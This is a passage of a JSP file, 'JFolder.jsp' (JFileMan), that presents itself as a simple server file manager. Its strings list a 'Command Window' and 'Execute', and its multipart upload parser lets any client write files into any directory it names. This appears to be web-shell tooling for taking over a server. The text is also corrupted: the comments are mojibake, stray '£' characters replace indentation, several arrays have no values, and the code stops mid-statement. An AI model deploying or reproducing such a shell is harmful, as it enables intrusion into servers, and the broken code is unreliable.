<%
/**
JFileMan V1.0£ windows platform
@Filename£º JFolder.jsp
@Description£º Ò»¸ö¼òµ¥µÄϵͳÎļþĿ¼ÏÔʾ³ÌÐò£¬ÀàËÆÓÚ×ÊÔ´¹ÜÀíÆ÷£¬Ìṩ»ù±¾µÄÎļþ²Ù×÷£¬²»¹ý¹¦ÄÜÈõ¶àÁË¡£
@Author£º Steven Cee
@Email £º cqq1978@Gmail.com
@Bugs£ :£ ÏÂÔØʱ£¬ÖÐÎÄÎļþÃûÎÞ·¨Õý³£ÏÔʾ£»Unix²Ù×÷ϵͳÉÏ´«
*/
%>
<%@page errorPage="/"%>
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=1; //Language,0 : Chinese; 1:English
String strThisFile="JFileMan.jsp";
String strSeparator = File.separator;
String[] authorInfo={" <font color=red> дµÄ²»ºÃ£¬½«¾Í×ÅÓÃ°É - - by ´ÈÇÚÇ¿ http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
String[] strFileManage£  = {"ÎÄ ¼þ ¹Ü Àí","File Management"};
String[] strCommand£ £ £ = {"CMD Ãü Áî","Command Window"};
String[] strSysProperty£ = {"ϵ ͳ Êô ÐÔ","System Property"};
String[] strHelp£ £ £ £  = {"°ï Öú","Help"};
String[] strParentFolder = {"Éϼ¶Ä¿Â¼","Parent Folder"};
String[] strCurrentFolder= {"µ±Ç°Ä¿Â¼","Current Folder"};
String[] strDrivers£ £ £ = ;
String[] strFileName£ £  = {"ÎļþÃû³Æ","File Name"};
String[] strFileSize£ £  = {"Îļþ´óС","File Size"};
String[] strLastModified = {"×îºóÐÞ¸Ä","Last Modified"};
String[] strFileOperation= ;
String[] strFileEdit£ £  = ;
String[] strFileDown£ £  = ;
String[] strFileCopy£ £  = ;
String[] strFileDel£ £ £ = ;
String[] strExecute£ £ £ = ;
String[] strBack£ £ £ £  = ;
String[] strFileSave£ £  = ;

public class FileHandler
{
private String strAction="";
private String strFile="";
void FileHandler(String action,String f)
{

}
}

public static class UploadMonitor {

static Hashtable uploadTable = new Hashtable();

static void set(String fName, UplInfo info) {
£ uploadTable.put(fName, info);
}

static void remove(String fName) {
£ uploadTable.remove(fName);
}

static UplInfo getInfo(String fName) {
£ UplInfo info = (UplInfo) uploadTable.get(fName);
£ return info;
}
}

public class UplInfo {

public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;

public UplInfo() {
£ totalSize = 0l;
£ currSize = 0l;
£ starttime = System.currentTimeMillis();
£ aborted = false;
}

public UplInfo(int size) {
£ totalSize = size;
£ currSize = 0;
£ starttime = System.currentTimeMillis();
£ aborted = false;
}

public String getUprate() {
£ long time = System.currentTimeMillis() - starttime;
£ if (time != 0) {
£  long uprate = currSize * 1000 / time;
£  return convertFileSize(uprate) + "/s";
£ }
£ else return "n/a";
}

public int getPercent() {
£ if (totalSize == 0) return 0;
£ else return (int) (currSize * 100 / totalSize);
}

public String getTimeElapsed() {
£ long time = (System.currentTimeMillis() - starttime) / 1000l;
£ if (time - 60l >= 0){
£  if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
£  else return time / 60 + ":0" + (time % 60) + "m";
£ }
£ else return time<10 ? "0" + time + "s": time + "s";
}

public String getTimeEstimated() {
£ if (currSize == 0) return "n/a";
£ long time = System.currentTimeMillis() - starttime;
£ time = totalSize * time / currSize;
£ time /= 1000l;
£ if (time - 60l >= 0){
£  if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
£  else return time / 60 + ":0" + (time % 60) + "m";
£ }
£ else return time<10 ? "0" + time + "s": time + "s";
}

}

public class FileInfo {

public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);

public void setFileContents(byte[] aByteArray) {
£ fileContents = new byte[aByteArray.length];
£ System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB = 1024 * 1;

public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
£  int clength) throws IllegalArgumentException, IOException {
£ if (is == null) throw new IllegalArgumentException("InputStream");
£ if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
£ £ "\"" + boundary + "\" is an illegal boundary indicator");
£ boundary = "--" + boundary;
£ StringTokenizer stLine = null, stFields = null;
£ FileInfo fileInfo = null;
£ Hashtable dataTable = new Hashtable(5);
£ String line = null, field = null, paramName = null;
£ boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
£ boolean isFile = false;
£ if (saveFiles) { // Create the required directory (including parent dirs)
£  File f = new File(saveInDir);
£  f.mkdirs();
£ }
£ line = getLine(is);
£ if (line == null || !line.startsWith(boundary)) throw new IOException(
£ £ "Boundary not found; boundary = " + boundary + ", line = " + line);
£ while (line != null) {
£  if (line == null || !line.startsWith(boundary)) return dataTable;
£  line = getLine(is);
£  if (line == null) return dataTable;
£  stLine = new StringTokenizer(line, ";\r\n");
£  if (stLine.countTokens() < 2) throw new IllegalArgumentException(
£ £  "Bad data in second line");
£  line = stLine.nextToken().toLowerCase();
£  if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
£ £  "Bad data in second line");
£  stFields = new StringTokenizer(stLine.nextToken(), "=\"");
£  if (stFields.countTokens() < 2) throw new IllegalArgumentException(
£ £  "Bad data in second line");
£  fileInfo = new FileInfo();
£  stFields.nextToken();
£  paramName = stFields.nextToken();
£  isFile = false;
£  if (stLine.hasMoreTokens()) {
£ £ field = stLine.nextToken();
£ £ stFields = new StringTokenizer(field, "=\"");
£ £ if (stFields.countTokens() > 1) {
£ £  if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
£ £ £ fileInfo.name = paramName;
£ £ £ String value = stFields.nextToken();
£ £ £ if (value != null && value.trim().length() > 0) {
£ £ £  fileInfo.clientFileName = value;
£ £ £  isFile = true;
£ £ £ }
£ £ £ else {
£ £ £  line = getLine(is); // Skip "Content-Type:" line
£ £ £  line = getLine(is); // Skip blank line
£ £ £  line = getLine(is); // Skip blank line
£ £ £  line = getLine(is); // Position to boundary line
£ £ £  continue;
£ £ £ }
£ £  }
£ £ }
£ £ else if (field.toLowerCase().indexOf("filename") >= 0) {
£ £  line = getLine(is); // Skip "Content-Type:" line
£ £  line = getLine(is); // Skip blank line
£ £  line = getLine(is); // Skip blank line
£ £  line = getLine(is); // Position to boundary line
£ £  continue;
£ £ }
£  }
£  boolean skipBlankLine = true;
£  if (isFile) {
£ £ line = getLine(is);
£ £ if (line == null) return dataTable;
£ £ if (line.trim().length() < 1) skipBlankLine = false;
£ £ else {
£ £  stLine = new StringTokenizer(line, ": ");
£ £  if (stLine.countTokens() < 2) throw new IllegalArgumentException(
£ £ £  "Bad data in third line");
£ £  stLine.nextToken(); // Content-Type
£ £  fileInfo.fileContentType = stLine.nextToken();
£ £ }
£  }
£  if (skipBlankLine) {
£ £ line = getLine(is);
£ £ if (line == null) return dataTable;
£  }
£  if (!isFile) {
£ £ line = getLine(is);
£ £ if (line == null) return dataTable;
£ £ dataTable.put(paramName, line);
£ £ // If parameter is dir, change saveInDir to dir
£ £ if (paramName.equals("dir")) saveInDir = line;
£ £ line = getLine(is);
£ £ continue;
£  }
£  try {
£ £ UplInfo uplInfo = new UplInfo(clength);
£ £ UploadMonitor.set(fileInfo.clientFileName, uplInfo);
£ £ OutputStream os = null;
£ £ String path = null;
£ £ if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
£ £ £ fileInfo.clientFileName));
£ £ else os = new ByteArrayOutputStream(ONE_MB);
£ £ boolean readingContent = true;
£ £ byte previousLine[] = new byte[2 * ONE_MB];
£ £ byte temp[] = null;
£ £ byte currentLine[] = new byte[2 * ONE_MB];
£ £ int read, read3;
£ £ if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
£ £  line = null;
£ £  break;
£ £ }
£ £ while (readingContent) {
£ £  if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
£ £ £ line = null;
£ £ £ uplInfo.aborted = true;
£ £ £ break;
£ £  }
£ £  if (compareBoundary(boundary, currentLine)) {
£ £ £ os.write(previousLine, 0, read - 2);
£ £ £ line = new String(currentLine, 0, read3);
£ £ £ break;
£ £  }
£ £  else {
£ £ £ os.write(previousLine, 0, read);
£ £ £ uplInfo.currSize += read;
£ £ £ temp = currentLine;
£ £ £ currentLine = previousLine;
£ £ £ previousLine = temp;
£ £ £ read = read3;
£ £  }//end else
£ £ }//end while
£ £ os.flush();
£ £ os.close();
£ £ if (!saveFiles) {
£ £  ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
£ £  fileInfo.setFileContents(baos.toByteArray());
£ £ }
£ £ else fileInfo.file = new File(path);
£ £ dataTable.put(paramName, fileInfo);
£ £ uplInfo.currSize = uplInfo.totalSize;
£  }//end try
£  catch (IOException e) {
£ £ throw e;
£  }
£ }
£ return

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